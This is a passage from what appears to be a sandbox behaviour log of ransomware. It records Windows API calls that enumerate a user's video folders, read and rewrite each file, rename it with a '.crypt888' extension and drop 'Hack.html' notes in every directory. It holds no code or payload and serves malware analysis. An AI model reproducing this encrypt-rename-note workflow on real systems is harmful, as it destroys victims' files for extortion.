lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4", lpFilePart=0x0) returned 0x51 [0085.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\dm1-r.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.681] GetFileType (hFile=0x174) returned 0x1 [0085.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.681] GetFileType (hFile=0x174) returned 0x1 [0085.681] WriteFile (in: hFile=0x174, lpBuffer=0x2864d10*, nNumberOfBytesToWrite=0xcf50, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x2864d10*, lpNumberOfBytesWritten=0x39ecac*=0xcf50, lpOverlapped=0x0) returned 1 [0085.683] CloseHandle (hObject=0x174) returned 1 [0085.684] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4", lpFilePart=0x0) returned 0x51 [0085.684] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4.crypt888", lpFilePart=0x0) returned 0x5a [0085.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.684] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\dm1-r.mp4"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd15c8510, ftCreationTime.dwHighDateTime=0x1d463bc, ftLastAccessTime.dwLowDateTime=0xed429b40, ftLastAccessTime.dwHighDateTime=0x1d4592e, ftLastWriteTime.dwLowDateTime=0xc444ea40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xcf50)) returned 1 [0085.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.684] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\dm1-r.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\dm1-r.mp4.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\dm1-r.mp4.crypt888")) returned 1 [0085.685] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\Hack.html", lpFilePart=0x0) returned 0x51 [0085.685] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0085.685] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\h-uo6NlE0c_6i6x\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\h-uo6nle0c_6i6x\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.688] GetFileType (hFile=0x174) returned 0x1 [0085.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0085.688] GetFileType (hFile=0x174) returned 0x1 [0085.688] WriteFile (in: hFile=0x174, lpBuffer=0x2873824*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2873824*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0085.689] CloseHandle (hObject=0x174) returned 1 [0085.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0085.689] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo", lpFilePart=0x0) returned 0x3c [0085.689] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\", lpFilePart=0x0) returned 0x3d [0085.689] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0085.690] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.690] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.690] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.690] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.690] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0085.690] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0085.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0085.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0085.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0085.691] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo", lpFilePart=0x0) returned 0x3c [0085.691] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\", lpFilePart=0x0) returned 0x3d [0085.691] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a4e8 [0085.691] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.691] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.691] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.691] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.692] FindNextFileW (in: hFindFile=0x59a4e8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0085.692] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0085.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0085.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0085.692] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv", lpFilePart=0x0) returned 0x54 [0085.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.692] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\w0svfxfu6foa5e4op9s.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.692] GetFileType (hFile=0x174) returned 0x1 [0085.692] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.692] GetFileType (hFile=0x174) returned 0x1 [0085.692] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x10b9b [0085.692] ReadFile (in: hFile=0x174, lpBuffer=0x2876c38, nNumberOfBytesToRead=0x10b9b, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x2876c38*, lpNumberOfBytesRead=0x39ecbc*=0x10b9b, lpOverlapped=0x0) returned 1 [0085.693] CloseHandle (hObject=0x174) returned 1 [0085.707] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv", lpFilePart=0x0) returned 0x54 [0085.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\w0svfxfu6foa5e4op9s.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.708] GetFileType (hFile=0x174) returned 0x1 [0085.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.709] GetFileType (hFile=0x174) returned 0x1 [0085.709] WriteFile (in: hFile=0x174, lpBuffer=0x28f5cf4*, nNumberOfBytesToWrite=0x10ba0, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x28f5cf4*, lpNumberOfBytesWritten=0x39ecac*=0x10ba0, lpOverlapped=0x0) returned 1 [0085.710] CloseHandle (hObject=0x174) returned 1 [0085.710] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv", lpFilePart=0x0) returned 0x54 [0085.710] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv.crypt888", lpFilePart=0x0) returned 0x5d [0085.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\w0svfxfu6foa5e4op9s.flv"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59113d0, ftCreationTime.dwHighDateTime=0x1d456fa, ftLastAccessTime.dwLowDateTime=0x4908ffd0, ftLastAccessTime.dwHighDateTime=0x1d45661, ftLastWriteTime.dwLowDateTime=0xc449ad00, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10ba0)) returned 1 [0085.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.711] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\w0svfxfu6foa5e4op9s.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\W0SVfXFU6foa5e4OP9s.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\w0svfxfu6foa5e4op9s.flv.crypt888")) returned 1 [0085.711] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv", lpFilePart=0x0) returned 0x4d [0085.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.711] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\_ooch8daetih.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.711] GetFileType (hFile=0x174) returned 0x1 [0085.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.711] GetFileType (hFile=0x174) returned 0x1 [0085.711] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x18762 [0085.712] ReadFile (in: hFile=0x174, lpBuffer=0x389b620, nNumberOfBytesToRead=0x18762, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x389b620*, lpNumberOfBytesRead=0x39ecbc*=0x18762, lpOverlapped=0x0) returned 1 [0085.712] CloseHandle (hObject=0x174) returned 1 [0085.728] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv", lpFilePart=0x0) returned 0x4d [0085.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\_ooch8daetih.flv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.730] GetFileType (hFile=0x174) returned 0x1 [0085.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.730] GetFileType (hFile=0x174) returned 0x1 [0085.730] WriteFile (in: hFile=0x174, lpBuffer=0x3915b80*, nNumberOfBytesToWrite=0x18770, lpNumberOfBytesWritten=0x39ecac, lpOverlapped=0x0 | out: lpBuffer=0x3915b80*, lpNumberOfBytesWritten=0x39ecac*=0x18770, lpOverlapped=0x0) returned 1 [0085.733] CloseHandle (hObject=0x174) returned 1 [0085.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv", lpFilePart=0x0) returned 0x4d [0085.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv.crypt888", lpFilePart=0x0) returned 0x56 [0085.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.733] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\_ooch8daetih.flv"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedc16a0, ftCreationTime.dwHighDateTime=0x1d45723, ftLastAccessTime.dwLowDateTime=0x4b602580, ftLastAccessTime.dwHighDateTime=0x1d45b5f, ftLastWriteTime.dwLowDateTime=0xc44c0e60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x18770)) returned 1 [0085.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.733] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\_ooch8daetih.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\_oOCh8DaeTiH.flv.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\_ooch8daetih.flv.crypt888")) returned 1 [0085.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\Hack.html", lpFilePart=0x0) returned 0x46 [0085.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0085.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\NZOo\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\nzoo\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.734] GetFileType (hFile=0x174) returned 0x1 [0085.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0085.735] GetFileType (hFile=0x174) returned 0x1 [0085.735] WriteFile (in: hFile=0x174, lpBuffer=0x29556e8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x29556e8*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0085.735] CloseHandle (hObject=0x174) returned 1 [0085.736] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Hack.html", lpFilePart=0x0) returned 0x41 [0085.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0085.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\ln14iDp\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\ln14idp\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.736] GetFileType (hFile=0x174) returned 0x1 [0085.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0085.736] GetFileType (hFile=0x174) returned 0x1 [0085.736] WriteFile (in: hFile=0x174, lpBuffer=0x2957ef0*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2957ef0*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0085.737] CloseHandle (hObject=0x174) returned 1 [0085.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Hack.html", lpFilePart=0x0) returned 0x39 [0085.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0085.738] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\u4Y0kmOQKB\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\u4y0kmoqkb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.738] GetFileType (hFile=0x174) returned 0x1 [0085.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0085.738] GetFileType (hFile=0x174) returned 0x1 [0085.738] WriteFile (in: hFile=0x174, lpBuffer=0x295a6d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x295a6d8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0085.739] CloseHandle (hObject=0x174) returned 1 [0085.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html", lpFilePart=0x0) returned 0x2e [0085.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0085.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.740] GetFileType (hFile=0x174) returned 0x1 [0085.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0085.740] GetFileType (hFile=0x174) returned 0x1 [0085.740] WriteFile (in: hFile=0x174, lpBuffer=0x295ce98*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x295ce98*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0085.741] CloseHandle (hObject=0x174) returned 1 [0085.741] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Hack.html", lpFilePart=0x0) returned 0x27 [0085.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0085.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.742] GetFileType (hFile=0x174) returned 0x1 [0085.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0085.742] GetFileType (hFile=0x174) returned 0x1 [0085.742] WriteFile (in: hFile=0x174, lpBuffer=0x295f638*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x295f638*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 